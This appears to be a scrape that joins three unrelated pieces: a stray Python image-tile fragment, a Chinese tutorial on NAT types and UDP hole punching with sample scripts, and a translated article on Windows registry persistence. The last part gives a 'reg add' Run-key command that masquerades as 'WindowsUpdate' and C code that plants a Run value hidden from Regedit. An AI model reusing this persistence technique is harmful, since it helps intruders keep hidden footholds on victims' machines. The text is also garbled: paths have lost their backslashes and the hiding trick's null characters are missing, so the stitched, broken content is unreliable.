# im = get_one_block(demo, i * SINGLE_X, j * SINGLE_Y)
# im.save("new_pic/{}_{}.png".format(i,j))
pairs = get_pairs() print(len(pairs))
with open("pairs.json", "w") as f:
json.dump(pairs, f)
with open("pairs.json", "r") as f:
pairs = json.load(f)
# left = [i for i in origin_names if i not in pairs.values()]
# print(len(left))
# for i in left:
# shutil.copyfile("./file_d0wnl0ad/{}".format(i), "./left_pic/{}".format(i))
# print(left)
# new_demo = combine_pic(pairs)
# new_demo.show()
# new_demo.save("new_demo.png") | 社区文章 |
**作者：0x7F@知道创宇404实验室
时间：2021年4月12日**
### 0x00 前言
一直对 P2P 和 NAT 穿透的知识比较感兴趣，正巧最近看到一篇不需要第三方服务器实现 NAT
穿透的项目(<https://github.com/samyk/pwnat>)，经过学习研究后发现这个项目也有很多局限性；借此机会，学习了下 NAT 原理和
UDP 穿透的实现。
本文详细介绍了 NAT 的原理，并以此作为基础介绍了 UDP 穿透的原理和实现。
### 0x01 NAT基础和分类
NAT(Network Address Translation)全称为「网络地址转换」，用于为了解决 IPv4 地址短缺的问题。NAT
可以将私有地址转换为公有 IP 地址，以便多台内网主机只需要一个公有 IP 地址，也可以正常与互联网进行通信。
NAT 可以分为两大类：
1. 基础NAT：网络地址转换(Network Address Translation)
2. NAPT：网络地址端口转换(Network Address Port Translation)
[1.NAT分类]
**1.基础NAT**
基础NAT 仅对网络地址进行转换，要求对每一个当前连接都要对应一个公网IP地址，所以需要有一个公网 ip 池；基础NAT 内部有一张 NAT
表以记录对应关系，如下
内网ip | 外网ip
---|---
192.168.1.1 | 1.2.3.4
192.168.1.12 | 1.2.3.5
192.168.1.123 | 1.2.3.6
> 基础NAT又分为：静态NAT 和 动态NAT，其区别在于：静态要求内网ip和外网ip存在固定的一一对应关系，而动态不存在这种固定的对应关系。
**2.NAPT**
NAPT 需要对网络地址和端口进行转换，这种类型允许多台主机共用一个公网 ip 地址，NAPT 内部同样有一张 NAT
表，并标注了端口，以记录对应关系，如下：
内网ip | 外网ip
---|---
192.168.1.1:1025 | 1.2.3.4:1025
192.168.1.1:3333 | 1.2.3.5:10000
192.168.1.12:7788 | 1.2.3.6:32556
> NAPT又分为：锥型NAT 和 对称型NAT，其对于映射关系有不同的权限限制，锥型NAT 在网络拓扑图上像圆锥，我们在下文进行深入了解。
### 0x02 NAPT
**目前常见的都是 NAPT 类型，我们常说的 NAT 也是特指 NAPT(我们下文也遵循这个)** 。如图1所示，NAPT
可分为四种类型：1.完全锥型，2.受限锥型，3.端口受限锥型，4.对称型。
**1.完全锥型**
从同一个内网地址端口(`192.168.1.1:7777`)发起的请求都由 NAT
转换成公网地址端口(`1.2.3.4:10000`)，`192.168.1.1:7777` 可以收到任意外部主机发到 `1.2.3.4:10000`
的数据报。
[2.完全锥型NAT]
**2.受限锥型**
受限锥型也称地址受限锥型，在完全锥型的基础上，对 ip 地址进行了限制。
从同一个内网地址端口(`192.168.1.1:7777`)发起的请求都由 NAT 转换成公网地址端口(`1.2.3.4:10000`)，其访问的服务器为
`8.8.8.8:123`，只有当 `192.168.1.1:7777` 向 `8.8.8.8:123`
发送一个报文后，`192.168.1.1:7777` 才可以收到 `8.8.8.8` 发往 `1.2.3.4:10000` 的报文。
[3.受限锥型NAT]
**3.端口受限锥型**
在受限锥型的基础上，对端口也进行了限制。
从同一个内网地址端口(`192.168.1.1:7777`)发起的请求都由 NAT 转换成公网地址端口(`1.2.3.4:10000`)，其访问的服务器为
`8.8.8.8:123`，只有当 `192.168.1.1:7777` 向 `8.8.8.8:123`
发送一个报文后，`192.168.1.1:7777` 才可以收到 `8.8.8.8:123` 发往 `1.2.3.4:10000` 的报文。
[4.端口受限锥型NAT]
**4.对称型**
在 对称型NAT 中，只有来自于同一个内网地址端口 、且针对同一目标地址端口的请求才被 NAT 转换至同一个公网地址端口，否则的话，NAT
将为之分配一个新的公网地址端口。
如：内网地址端口(`192.168.1.1:7777`)发起请求到 `8.8.8.8:123`，由 NAT
转换成公网地址端口(`1.2.3.4:10000`)，随后内网地址端口(`192.168.1.1:7777`)又发起请求到
`9.9.9.9:456`，NAT 将分配新的公网地址端口(`1.2.3.4:20000`)
[5.对称型NAT]
> 可以这么来理解，在 锥型NAT 中：映射关系和目标地址端口无关，而在 对称型NAT 中则有关。锥型NAT
> 正因为其于目标地址端口无关，所以网络拓扑是圆锥型的。
> 补充下 锥型NAT 的网络拓扑图，和对称型进行比较
[6.锥型NAT]
### 0x03 NAT的工作流程
按照上文描述，我们可以很好的理解 NAT 对传输层协议(TCP/UDP)的处理，这里举例来更加深入的理解 NAT 的原理。
**1.发送数据**
当一个 TCP/UDP 的请求(`192.168.1.1:7777 => 8.8.8.8:123`)到达 NAT 网关时(`1.2.3.4`)，由 NAT
修改报文的源地址和源端口以及相应的校验码，随后再发往目标：
192.168.1.1:7777 => 1.2.3.4:10000 => 8.8.8.8:123
**2.接收数据**
随后 `8.8.8.8:123` 返回响应数据到 `1.2.3.4:10000`，NAT
查询映射表，修改目的地址和目的端口以及相应的校验码，再将数据返回给真实的请求方：
8.8.8.8:123 => 1.2.3.4:10000 => 192.168.1.1:7777
**3.其他协议**
不同协议的工作特性不同，其和 TCP/UDP 协议的处理方式不同；比如 ICMP 协议工作在 IP 层，没有端口信息，NAT 以 ICMP 报文中的
`identifier` 作为标记，以此来判断这个报文是内网哪台主机发出的。
下图为 `Cisco Packet Tracer` 下，在客户端发起 `TCP/UDP/ICMP` 请求后的 `NAT translations`：
[7.PacketTracer模拟环境下的NAT表]
> 当然还有一些特殊的协议，比如 FTP 协议，当请求一个文件传输时，主机在发送请求的同时也通知对方自己想要在哪个端口接受数据，NAT
> 必须进行特殊处理才能支持这种通信机制。
> 在 NAT 中有一个应用网关层(Application Layer Gateway, ALG)，以此来统一处理这些协议问题。
**4.映射老化时间**
建立了 NAT 映射关系后，这些映射什么时候失效呢？
不同协议有不同的失效机制，比如 TCP 的通信在收到 RST 过后就会删除映射关系，或 TCP 在某个超时时间后也会自动失效，而 ICMP 在收到 ICMP
响应后就会删除映射关系，当然超时后也会自动失效。具体的实现还和各个厂商有关系。
### 0x04 NAT类型探测
探测 NAT 的类型是 NAT 穿透中的第一步，我们可以通过客户端和两个服务器端的交互来探测 NAT 的工作类型，以下是来源于 STUN
协议(<https://tools.ietf.org/html/rfc3489>) 的探测流程图，在其上添加了一些标注：
[8.NAT类型探测流程]
如图所示，我们可以整理出：
1. 客户端使用 **同一个内网地址端口** 分别向主服务器和协助服务器(不同IP)发起 UDP 请求，主服务器获取到客户端出口地址端口后，返回给客户端，客户端对比自己本地地址和出口地址是否一致，如果是则表示处于 `Open Internet` 中。
2. 协助服务器同样也获取到了客户端出口地址端口，将该信息转发给主服务器，同样将该信息返回给客户端，客户端对比两个出口地址端口(1.主服务器返回的，2.协助服务器返回的)是否一致，如果是则表示处于 `Symmetric NAT` 中。
3. 客户端再使用 **不同的内网地址端口** 分别向主服务器和协助服务器(不同IP)发起 UDP 请求，主服务器和协助服务器都可以获得一个新的客户端出口地址端口，协助服务器将客户端出口地址端口转发给主服务器。
4. 主服务器向协助服务器获取到的客户端出口地址端口发送 UDP 数据，客户端如果可以收到数据，则表示处于 `Full-Cone NAT` 中。
5. 主服务器使用另一个端口，向主服务器获取到的客户端出口地址端口发送 UDP 数据，如果客户端收到数据，则表示处于 `Restricted NAT` 中，否则处于 `Restricted-Port NAT` 中。
按照该步骤，我们编写了 NAT 类型探测的示例脚本 nat_check.py。
#!/usr/bin/python3
#coding=utf-8
import socket
import sys
def server(addr):
print("[NAT CHECK launch as server on %s]" % str(addr))
# listen UDP service
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(addr)
# [1. check "Open Internet" and "Symmetric NAT"]
# recevie client request and return export ip
data, cconn = sock.recvfrom(1024)
print("server get client info: %s" % str(cconn))
data = "%s:%d" % (cconn[0], cconn[1])
sock.sendto(data.encode("utf-8"), cconn)
# receive assist data about client another export ip
data, aconn = sock.recvfrom(1024)
print("server get client info (from assist): %s" % data.decode("utf-8"))
sock.sendto(data, cconn)
# [2. check "Full-Cone NAT", "Restricted NAT" and "Restricted-Port NAT"]
# recevie client request
data, cconn = sock.recvfrom(1024)
print("server get client info: %s" % str(cconn))
# receive assist data about client another export ip
data, aconn = sock.recvfrom(1024)
print("server get client info (from assist): %s" % data.decode("utf-8"))
# send data to client through (assist get) export ip
print("send packet for testing Full-Cone NAT")
array = data.decode("utf-8").split(":")
caconn = (array[0], int(array[1]))
sock.sendto("TEST FOR FULL-CONE NAT".encode("utf-8"), caconn)
# send data to client through (server get) export ip and with different port
sock.recvfrom(1024) # NEXT flag
print("send packet for testing Restricted NAT")
cdconn = (cconn[0], cconn[1] - 1)
sock.sendto("TEST FOR Restricted NAT".encode("utf-8"), cdconn)
# send data to client through (server get) export ip
sock.recvfrom(1024) # NEXT flag
print("send packet for testing Restricted-Port NAT")
sock.sendto("TEST FOR Restricted-Port NAT".encode("utf-8"), cconn)
# server()
def assist(addr, serv):
print("[NAT CHECK launch as assist on %s && server=%s]" %
(str(addr), str(serv)))
# listen UDP service
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(addr)
# [1. check "Open Internet" and "Symmetric NAT"]
# recevie client request and forward to server
data, conn = sock.recvfrom(1024)
print("assist get client info: %s" % str(conn))
data = "%s:%d" % (conn[0], conn[1])
sock.sendto(data.encode("utf-8"), serv)
# [2. check "Full-Cone NAT", "Restricted NAT" and "Restricted-Port NAT"]
# recevie client request and forward to server
data, conn = sock.recvfrom(1024)
print("assist get client info: %s" % str(conn))
data = "%s:%d" % (conn[0], conn[1])
sock.sendto(data.encode("utf-8"), serv)
# assist()
def client(serv, ast):
print("[NAT CHECK launch as client to server=%s && assist=%s]" %
(str(serv), str(ast)))
# [1. check "Open Internet" and "Symmetric NAT"]
print("send data to server and assist")
# get local address
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect(serv)
localaddr = sock.getsockname()
# send data to server and assist with same socket
# and register so that the server can obtain the export ip
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto("register".encode("utf-8"), serv)
sock.sendto("register".encode("utf-8"), ast)
# receive export ip from server
data, conn = sock.recvfrom(1024)
exportaddr = data.decode("utf-8")
print("get export ip: %s, localaddr: %s" % (exportaddr, str(localaddr)))
# check it is "Open Internet"
if exportaddr.split(":")[0] == localaddr[0]:
print("[Open Internet]")
return
# end if
# receive another export ip (assist) from server
data, conn = sock.recvfrom(1024)
anotheraddr = data.decode("utf-8")
print("get export ip(assist): %s, export ip(server): %s" % (anotheraddr, exportaddr))
# check it is "Symmetric NAT"
if exportaddr != anotheraddr:
print("[Symmetric NAT]")
return
# end if
# [2. check "Full-Cone NAT", "Restricted NAT" and "Restricted-Port NAT"]
# send data to server and assist with different socket
# receive the data sent back by the server through the export ip(assist) mapping
ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ssock.sendto("register".encode("utf-8"), serv)
asock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
asock.sendto("register".encode("utf-8"), ast)
asock.settimeout(5)
try:
data, conn = asock.recvfrom(1024)
print("[Full-Cone NAT]")
return
except:
pass
# receive the data sent back by the server with different port
ssock.sendto("NEXT".encode("utf-8"), serv)
ssock.settimeout(5)
try:
data, conn = ssock.recvfrom(1024)
print("[Restricted NAT]")
return
except:
pass
# receive the data sent back by the server
ssock.sendto("NEXT".encode("utf-8"), serv)
ssock.settimeout(5)
try:
data, conn = ssock.recvfrom(1024)
print("[Restricted-Port NAT]")
except:
print("[Unknown, something error]")
# client()
def usage():
print("Usage:")
print(" python3 nat_check.py server [ip:port]")
print(" python3 nat_check.py assist [ip:port] [server]")
print(" python3 nat_check.py client [server] [assist]")
# end usage()
if __name__ == "__main__":
if len(sys.argv) < 3:
usage()
exit(0)
# end if
role = sys.argv[1]
array = sys.argv[2].split(":")
address1 = (array[0], int(array[1]))
if role == "assist" or role == "client":
if len(sys.argv) > 3:
array = sys.argv[3].split(":")
address2 = (array[0], int(array[1]))
else:
usage()
exit(0)
# end if
# server/client launch
if role == "server":
server(address1)
elif role == "assist":
assist(address1, address2)
elif role == "client":
client(address1, address2)
else:
usage()
# end main()
> 实际网络往往都更加复杂，比如：防火墙、多层 NAT 等原因，会导致无法准确的探测 NAT 类型。
### 0x05 UDP穿透
在 NAT 的网络环境下，p2p 网络通信需要穿透 NAT 才能够实现。在熟悉 NAT 原理过后，我们就可以很好的理解如何来进行 NAT 穿透了。NAT
穿透的思想在于：如何复用 NAT 中的映射关系？
在 锥型NAT 中，同一个内网地址端口访问不同的目标只会建立一条映射关系，所以可以复用，而 对称型NAT 不行。同时，由于 TCP 工作比较复杂，在 NAT
穿透中存在一些局限性，所以在实际场景中 UDP 穿透使用得更广泛一些，这里我们详细看看 UDP 穿透的原理和流程。
> 我们以 `Restricted-Port NAT` 类型作为例子，因为其使用得最为广泛，同时权限也是最为严格的，在理解 `Restricted-Port
> NAT` 类型穿透后，`Full-Cone NAT` 和 `Restricted NAT` 就触类旁通了；
> 在实际网络场景下往往都是非常复杂的，比如：防火墙、多层NAT、单侧NAT，这里我们选择了两端都处于一层 NAT
> 的场景来进行演示讲解，可以让我们更容易的进行理解。
在我们的演示环境下，有 `PC1，Router1，PC2，Router2，Server` 五台设备；公网服务器用于获取客户端实际的出口地址端口，UDP
穿透的流程如下：
1. `PC1(192.168.1.1:7777)` 发送 UDP 请求到 `Server(9.9.9.9:1024)`，此时 Server 可以获取到 PC1 的出口地址端口(也就是 Router1 的出口地址端口) `1.2.3.4:10000`，同时 Router1 添加一条映射 `192.168.1.1:7777 <=> 1.2.3.4:10000 <=> 9.9.9.9:1024`
2. `PC2(192.168.2.1:8888)` 同样发送 UDP 请求到 Server，Router2 添加一条映射 `192.168.2.1:8888 <=> 5.6.7.8:20000 <=> 9.9.9.9:1024`
3. Server 将 PC2 的出口地址端口(`5.6.7.8:20000`) 发送给 PC1
4. Server 将 PC1 的出口地址端口(`1.2.3.4:10000`) 发送给 PC2
5. PC1 使用相同的内网地址端口(`192.168.1.1:7777`)发送 UDP 请求到 PC2 的出口地址端口(`Router2 5.6.7.8:20000`)，此时 Router1 添加一条映射 `192.168.1.1:7777 <=> 1.2.3.4:10000 <=> 5.6.7.8:20000`，与此同时 Router2 没有关于 `1.2.3.4:10000` 的映射，这个请求将被 Router2 丢弃
6. PC2 使用相同的内网地址端口(`192.168.2.1:8888`)发送 UDP 请求到 PC1 的出口地址端口(`Router1 1.2.3.4:10000`)，此时 Router2 添加一条映射 `192.168.2.1:8888 <=> 5.6.7.8:20000 <=> 1.2.3.4:10000`，与此同时 Router1 有一条关于 `5.6.7.8:20000` 的映射(上一步中添加的)，Router1 将报文转发给 `PC1(192.168.1.1:7777)`
7. 在 Router1 和 Router2 都有了对方的映射关系，此时 PC1 和 PC2 通过 UDP 穿透建立通信。
[9.UDP打洞流程]
按照该步骤，我们编写了 UDP 穿透的示例脚本：
server.py
#!/usr/bin/python3
#coding=utf-8
import socket
if __name__ == "__main__":
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(("0.0.0.0", 1024))
# 1.receive message and get one export ip:port (PC1)
data, conn1 = sock.recvfrom(1024)
addr1 = "%s:%d" % (conn1[0], conn1[1])
print("1.get PC1 export ip:port = %s" % addr1)
# 2.receive message and get another export ip:port (PC2)
data, conn2 = sock.recvfrom(1024)
addr2 = "%s:%d" % (conn2[0], conn2[1])
print("2.get PC2 export ip:port = %s" % addr2)
# 3.send export address of PC1 to PC2
sock.sendto(addr1.encode("utf-8"), conn2)
print("3.send export address of PC1(%s) to PC2(%s)" % (addr1, addr2))
# 4.send export address of PC2 to PC1
sock.sendto(addr2.encode("utf-8"), conn1)
print("4.send export address of PC2(%s) to PC1(%s)" % (addr2, addr1))
print("done")
sock.close()
# end main()
client.py
#!/usr/bin/python3
#coding=utf-8
import random
import socket
import string
import time
if __name__ == "__main__":
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#serv = ("10.0.1.1", 1024)
serv = ("192.168.50.55", 1024)
print("server =>", serv)
# 1/2.send message to server, server can get our export ip:port
sock.sendto("REGISTER".encode("utf-8"), serv)
print("1/2.send REGISTER message to server")
# 3/4.receive the export address of the peer from the server
data, conn = sock.recvfrom(1024)
array = data.decode("utf-8").split(":")
addr = (array[0], int(array[1]))
print("3/4.receive the export address of the peer, %s" % str(addr))
# 5/6.send KNOCK message to export address of peer
wait = random.randint(2, 5)
print("5/6.send KNOCK message to export address of peer (wait %d s)" % wait)
# in order to stagger the two clients
# so that the router can better create the mapping
time.sleep(wait)
sock.sendto("KNOCK".encode("utf-8"), addr)
name = "".join(random.sample(string.ascii_letters, 8))
print("my name is %s, start to communicate" % name)
# 7.communicate each other
count = 0
while True:
sock.settimeout(5)
try:
data, conn = sock.recvfrom(1024)
print("%s => %s" % (str(conn), data.decode("utf-8")))
except Exception as e:
print(e)
msg = "%s: %d" % (name, count)
count += 1
sock.sendto(msg.encode("utf-8"), conn)
time.sleep(1)
# end while()
sock.close()
# end main()
### 0x06 拓展
在实践了以上步骤后，我们对 锥型NAT 下的 UDP 穿透已经有了大致的了解，那我们接着再拓展研究一下「其他场景」。
**1.Symmetric NAT可以穿透吗？**
根据 `Symmetric NAT`
的特性我们可以知道当请求的目标端口地址改变后，会创建新的一对映射关系，我们无法知晓新的映射关系中的端口号；但是在实际场景下， **部分路由器** 对于
`Symmetric NAT` 的生成算法过于简单，新的端口可能呈现于：递增、递减、跳跃等特征，所以这种条件下，我们可以基于端口猜测，来穿透
`Symmetric NAT`。
> 如果两端的 `Symmetric NAT` 路由器是已知的，我们可以直接逆向分析映射生成算法，即可准确预测端口号。
**2.TCP穿透有哪些难点？**
TCP 穿透的流程基本和 UDP 穿透一样。
在标准 socket 规范中，UDP 可以允许多个 socket 绑定到同一个本地端口，但 TCP 不行，在 TCP 中我们不能在同一个端口上既
`listen` 又进行 `connect`；不过在 **部分操作系统** 下 socket 提供了端口复用选项(`SO_REUSEADDR /
SO_REUSEPORT`) 可以允许 TCP 绑定多个 socket。
在使用端口复用选项后，TCP 就按照 UDP 穿透的流程一样借助公网服务器然后向对端发送 `syn` 报文了，其中靠后的 `syn` 报文就可以正确穿透完成
TCP 握手并建立连接。
**但是** 在实际场景下还有诸多的阻碍，不同厂商的 NAT 实现机制有一些差异，比如某些针对 TCP 的实现有：
1. 对端 NAT 在接收到 `syn` 由于没有找到映射而返回 `RST` 报文，而本端 NAT 在接收到 `RST` 报文后删除了此条映射
2. 由于主机生成的 `syn` 报文中的 `seq` 序号为随机值，如果 NAT 开启了 `syn` 过滤，对于没有标记过的 `seq` 的报文将直接丢弃
3. 等等
**3.无第三方服务器的穿透**
我们回到文章开头提到的「不需要第三方服务器实现 NAT 穿透」的方法，文中作者先提出了一种便于理解的网络拓扑，客户端位于公网，服务器位于 NAT
下，我们必须预先知道服务器的公网地址；在这个方法下，服务器不断的向外部未分配的地址发送 `ICMP(ECHO REQUEST)` 消息，服务器端的 NAT
将保留一条 ICMP 响应的映射，由于目的地址未分配所以没有设备会响应服务器发出的请求，此时由客户端发送一条伪装的 `ICMP(DESTINATION
UNREACHABLE)` 给服务器，服务器可以收到该条消息并从中获取到客户端的地址；随后便可以根据预先约定的端口进行穿透并通信了。
但是如果客户端也位于 NAT 下呢，由于 NAT 可能会更改源端口信息(不同厂商的NAT实现不同)，导致无法向上文一样使用预设端口进行通信，所以这里需要和
`Symmetric NAT` 穿透一样进行端口猜测。
### 0x07 总结
本文从 NAT 原理出发，详细介绍了不同 NAT 类型的工作流程和原理，在此基础上我们深入学习和实现了 锥型NAT 的穿透，并拓展介绍了一些特殊的穿透场景。
NAT 的出现极大的缓解了 IPv4 地址短缺，同时也延迟了 IPv6 的推广，但 IPv6 是大势所趋，未来使用 NAT
的场景可能会慢慢减少；但无论怎样， NAT 的原理和策略都非常值得我们学习，比如：1.NAT 是一个天然的防火墙，2.NAT
其实可以看作是代理服务器，3.NAT 可以作为负载均衡服务器，4.等等。
* * *
References:
<https://en.wikipedia.org/wiki/Network_address_translation>
<https://tools.ietf.org/html/rfc1631>
<https://tools.ietf.org/html/rfc2663>
<https://tools.ietf.org/html/rfc3022>
<https://tools.ietf.org/html/rfc7857>
<https://www.cnblogs.com/GO-NO-1/p/7241556.html>
<http://xdxd.love/2016/10/18/对称NAT穿透的一种新方法/>
<https://tools.ietf.org/html/rfc3489>
<https://www.cnblogs.com/monjeo/p/9394825.html>
<http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt>
<https://www.linkinstar.wiki/2020/04/25/network/nat/>
<https://bford.info/pub/net/p2pnat/index.html>
<https://stackoverflow.com/questions/39545461/tcp-based-hole-punching>
<https://github.com/samyk/pwnat>
<http://samy.pl/pwnat/pwnat.pdf>
<http://tutorials.ptnetacad.net/tutorials80.htm>
<https://help.cisco.yueplus.ink/Simplified%20Chinese/index.htm>
[https://so.csdn.net/so/search/blog?q=packet&t=blog&p=1&s=0&tm=0&lv=-1&ft=0&l=&u=gengkui9897](https://so.csdn.net/so/search/blog?q=packet&t=blog&p=1&s=0&tm=0&lv=-1&ft=0&l=&u=gengkui9897)
* * * | 社区文章 |
# 权限维持——注册表
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
文章中，所涉及的知识点，均可在互联网中可找到，之所以写这篇文章，是因为在预览这些知识点时，有不懂的地方，将其进行补全，整理成符合个人阅读习惯的文章。
## 0x00 前言
本文是讨论针对 `Windows 注册表编辑器（Regedit）`进行攻击测试的两个例子。这两个测试，是使用 WIndows Native API
对注册表进行 **创建** 、 **修改** 和 **删除** 等操作，这些操作，单纯的使用 **Regedit** 查询是查询不到的。
就对这些 _“看不见”_ 的注册表 进行讨论：
* 常规的注册表驻守；
* _”隐藏“_ 的注册表驻守；
## 0x01 常规持久性技术
最常见的是对注册表的自启动项进行添加修改，注册表位置如下：
HKEY_CURRENT_USER(HKEY_LOCAL_MACHINE)SoftwareMicrosoftWindowsCurrentVersionRun
**常用命令：**
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v WindowsUpdate /t REG_SZ /d "C:WindowsTempMicrosoft.exe arg1 arg2" /f
修改完成后，当 Windows 用户登陆 `(HKEY_CURRENT_USER 或 HKEY_LOCAL_MACHINE)`
时，会运行此键值。所以，将可执行文件路径添加到此 `Run` 键后，文件在系统重启后将被执行。
因为此键值是最常见的，所以也是大多数的安全厂商的重点关注对象，大多数的安全厂家都能够做到 **禁止添加** 和 **异常扫描** 。
当进行 `rootkit` 排查时，先查看此注册表键值的内容，可以非常简单的可获取恶意的可执行文件的位置。
## 0x02 相关 API
我们接下来查看相关 API ：
* **RegOpenKeyExA** – 打开指定的注册表项；
* **NtSetValueKey** – 创建或替换注册表键值项；
* **ZwQueryValueKey** – 读取注册表键值；
* **NtDeleteValueKey** – 删除注册表键值；
* **RegCloseKey** – 关闭指定注册表项的句柄。
如果使用 `Native API` ，则需要导入 `ntdll.dll`。
如果使用 `Win32 API` ，则需要导入 `advapi32.dll`。
### 2.1、RegOpenKeyExA
打开指定的注册表项。请注意，键名不区分大小写。要对键执行事务处理的注册表操作，请调用 [RegOpenKeyTransacted
](https://docs.microsoft.com/windows/desktop/api/winreg/nf-winreg-regopenkeytransacteda)函数。
函数原型：
需要5个参数，我们只需要关注几个：
* **hKey：** 打开的注册表项的句柄；
* **lpSubKey：** 要打开的注册表子项的名称；
* **phkResult：** 指向变量的指针，该变量接收打开的键的句柄。
如果成功打开，则返回 `ERROR_SUCCESS`。
### 2.2、NtSetValueKey
此函数用于创建或替换注册表键值项，函数原型为：
需要 6 个参数，我们只需要关注几个：
* **KeyHandle：** 处理注册表项以为其写入值条目。该句柄是通过成功调用[ZwCreateKey](https://docs.microsoft.com/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwcreatekey)或[ZwOpenKey创建的](https://docs.microsoft.com/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwopenkey)；
* **ValueName：** 指向要为其写入数据的值条目的名称的指针。
* **Data：** 指向包含值条目数据的调用者分配的缓冲区的指针。
### 2.3、ZwQueryValueKey
该函数读取注册表键值。其原型为：
需要 6 个参数，我们只需要关注几个：
* **KeyHandle：** 处理要从中读取值条目的键。该句柄是通过成功调用[ZwCreateKey](https://docs.microsoft.com/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwcreatekey)或[ZwOpenKey创建的](https://docs.microsoft.com/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwopenkey)。
* **ValueName：** 指向要获取其数据的值条目名称的指针。
* **KeyValueInformationClass：** 类型。
* **ResultLength：** 指向一个变量的指针，该变量接收 Key 信息的大小（以字节为单位）。
成功返回 **STATUS_SUCCESS** ， **失败则** 返回相应的错误代码。
**注意：** 如果在用户模式下调用此函数，则应使用名称“ **NtQueryValueKey** ”而不是 “ **ZwQueryValueKey**
”。
## 0x03 隐藏的注册表
本小节是利用了 `Regedit` 的缺陷，创建了一个特殊的注册表项。由于这个特殊处理隐藏的注册表是使用 WIndows Native
API进行的创建、删除，所以单纯的使用 `Regedit` 是查询不到的。这里并不是说用 API 进行创建就查询不到，而是这个 **特殊处理的注册表**
使用 `Regedit` 查询不到。
**Ps：Win32 API 和 Native API 是有差别的** 。 以下内容是可实现隐藏注册表的根本原因：
在 Win32 API中，以 NULL结尾的字符串被解释为 ANSI（8位）或宽字符（16位）字符串。
在 Native API中，以 NULL结尾的字符串被解释为 Unicode（16位）字符串。
尽管平时这个区别并不重要，但是却带来了一个有趣的情况，举个例子：
当使用 Native API来构造特别的名称时，不能使用 Win32 API来对其进行查询。这是因为作为计数的 Unicode 字符串的名称可以包含 NULL 字符（0），例如 “key”，这个 Unicode 字符串长度为 4，但是在使用 Win32 API 来进行查询，这是因为在 Win32 API 中，“key”字符串的长度为 3，不满足查询条件。
之所以 `Regedit` 看不到，是因为 `Regedit` 使用的是 `Win32 API`。
### 3.1、特殊的 `ValueName`
我们的注册表键值名称经过特殊构造： 以空字符 **””** 作为开头，后面加上任意字符。对于 `Windows` 系统， **”” (0x0000)**
会被识别为字符串的结束符，所以在使用 `Regedit` 对该字符串读取的过程中，遇到开头的 **””** ，会被解析成结束符，提前截断，导致读取错误。
这个写入的值，在 `Regedit` 中是无法正常显示，但是在 Windows
系统重新启动时，它会正常执行。这涉及到内核调用机制，不在本文讨论范围内，简单过一下：
用户模式调用本机系统服务是通过 ntdll.dll 来实现的。
表面上，Win32 函数为编程人员提供了大量的 API 接口来实现功能，但这些 Win32 函数只不过是一个 API接口的容器而已，它将 Native API 包装起来，通过系统服务来实现真正的功能，也就是 ntdll.dll 是系统调用接口在用户模式下一个外壳。
所以不影响执行。来看看实现代码：
// HIDDEN_KEY_LENGTH doesn't matter as long as it is non-zero.
// Length is needed to delete the key
#define HIDDEN_KEY_LENGTH 11
void createHiddenRunKey(const WCHAR* runCmd) {
LSTATUS openRet = 0;
NTSTATUS setRet = 0;
HKEY hkResult = NULL;
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
wchar_t runkeyPath_trick[0x100] = L"Run";
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtSetValueKey = (_NtSetValueKey)GetProcAddress(hNtdll, "NtSetValueKey");
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH;
ValueName.MaximumLength = 0;
if (!(openRet = RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult))) {
if (!(setRet = NtSetValueKey(hkResult, &ValueName, 0, REG_SZ, (PVOID)runCmd, wcslen(runCmd) * 2))){
printf("SUCCESS setting hidden run value!n");
}else{
printf("FAILURE setting hidden run value! (setRet == 0x%X, GLE() == %d)n", setRet, GetLastError()); RegCloseKey(hkResult);
}
}
else {
printf("FAILURE opening RUN key in registry! (openRet == 0x%X, GLE() == %d)n", openRet, GetLastError());
}
}
void deleteHiddenRunKey() {
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
wchar_t runkeyPath_trick[0x100] = L"Run";
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtDeleteValueKey = (_NtDeleteValueKey)GetProcAddress(hNtdll, "NtDeleteValueKey");
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH; //this value doesn't matter as long as it is non-zero
ValueName.MaximumLength = 0;
HKEY hkResult = NULL;
if (!RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult)) {
if (!NtDeleteValueKey(hkResult, &ValueName)) {
printf("SUCCESS deleting hidden run value in registry!n");
}
RegCloseKey(hkResult);
}
}
先看看 `createHiddenRunKey`：
* 首先是打开 `HKEY_CURRENT_USER + runkeyPath` 的句柄；
* 将句柄传递给`NtSetValueKey` ，而`NtSetValueKey`传递的是 `UNICODE_STRING ValueName` ；
* `ValueName.Buffer` 正常情况下是设置为: `Run` ；
* 但是我们这里在前面加了一个或多个空值`WCHAR("")` ，构造特殊的注册表；
* 所以 `ValueName.Buffer` 应该是设置为:`Run` 。
而 `deleteHiddenRunKey` 就更加简单了
* 调用 `NtDeleteValueKey` 将指定键值删除。
编译运行。
HiddenRunKey.exe action=create keyvalue="C:WindowsSystem32calc.exe"
打开注册表进行对此键值进行查询时，则会弹窗提示错误。
点击确定后，内容还是之前的，新添加的内容已经成功隐藏。如果使用导出功能，也是提示错误。
